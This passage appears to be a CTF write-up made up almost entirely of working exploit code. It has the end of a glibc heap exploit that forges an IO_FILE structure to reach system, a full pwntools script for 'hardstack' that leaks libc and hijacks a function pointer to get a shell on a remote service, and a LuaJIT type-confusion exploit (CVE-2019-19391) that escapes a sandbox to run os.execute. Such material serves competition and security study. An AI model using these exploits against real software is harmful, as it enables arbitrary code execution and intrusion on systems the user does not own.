    add_mummy_msg(0x420, b"a"*((0x420//0x30) * 0x10)) #mummy 2
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 10
    load_mummy()
    del_msg(2)
    
    ## reuse
    load_daddy()
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 0
    del_msg(0)
    #gdb.attach(p)
    #pause()
    load_peppa()
    add_peppa_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #peppa 11
    del_msg(11) 
    #gdb.attach(p)
    #pause()
    
    load_mummy()
    add_mummy_msg(0x430, b"a"*((0x430//0x30) * 0x10)) #mummy 3
    del_msg(1)
    load_peppa() # refresh locked_flag
    load_mummy()
    #gdb.attach(p)
    #pause()
    edit_mummy_msg(2, (p64(heap_base+0x12cc0)+p64(io_list_all-0x20)) * (0x420//0x30)) # telescop 0x5555555704e0
    load_daddy()
    
    ## trigger
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 1
    print("global_max_fast:", hex(global_max_fast))
    print("io_list_all:", hex(io_list_all))
    target_chunk = heap_base + 0x13080
    print("target_chunk:", hex(target_chunk))
    #gdb.attach(p)
    #pause()

    
    io_str_jumps = libc_base + 0x1ed0e0
    ptr_2_io_wfile_sync = libc_base + 0x1ece40
    io_wfile_jumps = libc_base + 0x1ecde0
    #io_str_jumps = libc_base + 0x1ed320
    print("io_str_jumps:", hex(io_str_jumps))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    
    ## write fake io_file
    
    '''
    # old payload
    payload = p64(0)*2
    payload += p64(0) + p64((binsh-100)//2 +1) #_IO_write_base _IO_write_ptr
    payload += p64(0)*2
    payload += p64((binsh -100)//2) # _IO_buf_end;
    payload += p64(0)*4
    payload += p64(0) # _chain
    payload = payload.ljust((0x88-0x10), b"\x00")
    payload += p64(free_hook) # ptr to 0 for _lock
    payload = payload.ljust((0xa8-0x10), b"\x00")
    payload += p64(2) + p64(3) # _freeres_list _freeres_buf
    payload = payload.ljust((0xc0-0x10), b"\x00")
    payload += p32(0xffffffff)
    payload = payload.ljust((0xd8-0x10), b"\x00")
    payload += p64(io_str_jumps) + p64(system)
    payload = payload.ljust(0xf0, b"\x00")
    '''
    
    one_gadget = libc_base+0xE6C80
    payload = p64(0)*4
    payload += p64(one_gadget) + p64(one_gadget+1) #write_base write_ptr
    payload = payload.ljust(0x88, b"\x00")
    payload += p64(free_hook)
    payload = payload.ljust(0x98, b"\x00")
    payload += p64(target_chunk+0x110) + p64(target_chunk+0xe0) # _codecvt  _wide_data
    payload = payload.ljust(0xd8, b"\x00") + p64(io_wfile_jumps+8*9)
    payload += p64(1)+p64(0)*2+p64(1)+p64(0)*2
    #payload += b"/bin/sh\x00"+p64(0)*1+p64(system)
    payload += p64(target_chunk)+p64(0)*1+p64(system)
    payload = payload[0x10:].ljust(0x150, b"\x00")
    
    part1 = b""
    part2 = b""
    part3 = b""
    
    
    for i in range(7):
        part1 += payload[0x30*i : 0x30*i+0x10]
        part2 += payload[0x30*i+0x10 : 0x30*i+0x20]
        part3 += payload[0x30*i+0x20 : 0x30*i+0x30]
        
    load_peppa()
    edit_peppa_msg(11, part1)
    load_mummy()
    edit_mummy_msg(2, part2+(p64(0)*2)*(0x420//0x30-7))
    load_daddy()
    edit_daddy_msg(0, part3)
    
    print("io_list_all:", hex(io_list_all))
    print("io_str_jumps:", hex(io_str_jumps))
    print("ptr_2_io_wfile_sync:", hex(ptr_2_io_wfile_sync))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    ## trigger system

    #gdb.attach(p, "set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290\nb *0x7ffff7e6b290\nc\n")
    # set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290
    # b *0x7ffff7e6b290
    load_mummy()
    del_msg(0)  
    print("onegadget:", hex(one_gadget))
    # _IO_flush_all_lockp
    # 0x7ffff7e62984
    # 0x7ffff7e62981
    #gdb.attach(p)
    #pause()
    
    p.interactive()
    

if __name__ == "__main__":
    exp()

hardstack

hand burp

from pwn import *
import sys

libc = ELF("./libc-2.27.so")
context.log_level = "debug"

def new(idx:int, size:int):
    p.sendlineafter(b"Your choice: ", b"1")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    
def edit(idx:int, content):
    p.sendlineafter(b"Your choice: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Your choice: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())
    
def stkof(length, payload):
    p.sendlineafter(b"Your choice: ", b"666")
    p.sendline(str(length))
    p.send(payload)
    
def exp():
    global p
    
    #p = process("./hardstack_patch", env={"LD_PRELOAD":"./libc-2.27.so"})
    p = remote("172.35.6.14", 9999)
    #p.settimeout(1)
    
    #gdb.attach(p, "b *0x400C4C\nc\n") #stkof
    #chunk_list: 0x6020D0
    #stdout: 0x00007ffff7dce760
    #leak: 0x00007ffff7dce090
    
    # attack IO_FILE
    ## prepare
    new(0xf, 0xda0)
    new(0, 0x1) #0
    new(1, 0x1) #1
    new(2, 0x28) #2
    new(3, 0x28) #3
    new(4, 0x28) #4
    new(5, 0x410) #5
    new(6, 0x10) #6 split
    delete(5)
    new(7, 0x2) #6->4
    
    ## build
    delete(0)
    delete(1)
    delete(2)
    delete(3)
    delete(4)
    edit(1, b"\xb0")
    
    new(8, 0x1)
    new(9, 0x1)
    edit(9, b"\xe0")
    edit(7, b"\x30\xdc")
    
    ## get
    new(10, 0x20)
    new(11, 0x20)
    new(12, 0x20)

    edit(12, p64(0x400b20)+p64(0)*3)
    edit(12, p64(0x400a20)+p64(0)*3)

    
    # leak
    new(13, str(0x601FD0))
    malloc = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = malloc - 0x97140
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    gets = libc_base + libc.symbols[b"gets"]
    print("malloc:", hex(malloc))
    print("libc:", hex(libc_base))
    print("binsh:", hex(binsh))
    print("system:", hex(system))
    #new(13, str(0x601FD0))
    edit(12, p64(gets)+p64(0)*3)
    new(14, 0x6020d0)
    p.sendline(b"/bin/sh\x00"+p64(0)*3)
    #gdb.attach(p, "b *0x400b4b")
    edit(12, p64(system)+p64(0)*3)
    new(1, 0x6020d0)

    p.sendline(b"cat flag; cat flag;")
    p.interactive()
    

if __name__ == "__main__":
    while True:
        exp()

lua

套了一个sandbox

LuaJIT版本2.1.0-beta3 2017

复现CVE-2019-19391: https://github.com/LuaJIT/LuaJIT/pull/526

原POC还差写地址的部分

Type confusion 偏移到os.execute来bypass sandbox

exp:

local str = "123456789"
-- local bit = require("bit")
local bit_band   = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge  = math.huge
function UInt32sToDouble(low, high)
    local negative = false
    
    if high >= 0x80000000 then
        negative = true
        high = high - 0x80000000
    end
    
    local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
    local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
    
    local f
    if biasedExponent == 0x0000 then
        f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
    elseif biasedExponent == 0x07FF then
        f = mantissa == 0 and math_huge or(math_huge - math_huge)
    else
        f = math_ldexp(1 + mantissa, biasedExponent - 1023)
    end
    
    return negative and -f or f
end
local obj_address = tonumber(string.format( "%p", str ), 16) + 12
print(string.format( "%p", str ))
address = UInt32sToDouble( obj_address, 0 )
local func = debug.getinfo( 0, ">f", address ).func
print(func)
-- This is supposed to get the environment of the function
-- but it allows us to read memory by formatting the address
-- into a pointer
local length = debug.getfenv( func )
-- Format the address into a pointer
-- prints 4, the length of the string
-- print(string.format( "%p", length))
print("read memory:")
-- print( tonumber( string.format( "%p", length), 16 ) ) 
print(string.format( "%p", length)) 
function read_mem(mem_addr)
    mem_addr = mem_addr - 8
    address = UInt32sToDouble( mem_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    local length = debug.getfenv( func )
    return string.format( "%p", length)
end 
function exec_addr(e_addr, fake_argv)
    -- e_addr = e_addr - 8 
    address = UInt32sToDouble( e_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    func(fake_argv)
    print("exec successfully!!!")
end 
-- print(read_mem(obj_address - 4 - 0x10 + 4 ))
function addr_of(fake_obj)
    -- local o_address = tonumber(string.format("%p", fake_obj), 16)
    local o_address = string.format("%p", fake_obj)
    return o_address
end
function todo()
    print("hi,happy.")
end
print("addr of ipairs")
func_addr_of_ipairs = addr_of(ipairs)
print(ipairs)
print("addr of:")
func_addr_of_exec_addr = addr_of(exec_addr)
print(func_addr_of_exec_addr)
print("delta:")
print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_ipairs))
-- print(string.format("0x%x", func_addr_of_real_os_execute -func_addr_of_ipairs ))
-- func_addr_of_real_os_execute -func_addr_of_ipairs = 0x2540
-- print(string.format("0x%x", func_addr_of_load - func_addr_of_ipairs))
-- func_addr_of_load - func_addr_of_ipairs = 0x4b8
-- print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_load))
print("content:")
print(read_mem(func_addr_of_exec_addr))
-- exec_addr(obj_address)
function Sleep(n)
    local t0 = os.clock()
    while os.clock() - t0 <= n do end
 end
-- Sleep(20)
function faking_func() 
    print("fake me!!!")
end
local fake_args = function() print("exe_me!") end
-- load(fake_args)
-- exec_addr
-- exec_addr(addr_of(faking_func) , nil)
-- calc_load_addr = func_addr_of_ipairs + 0x4b8
calc_exec_addr = func_addr_of_ipairs + 0x2540
exec_addr(calc_exec_addr, "cat flag")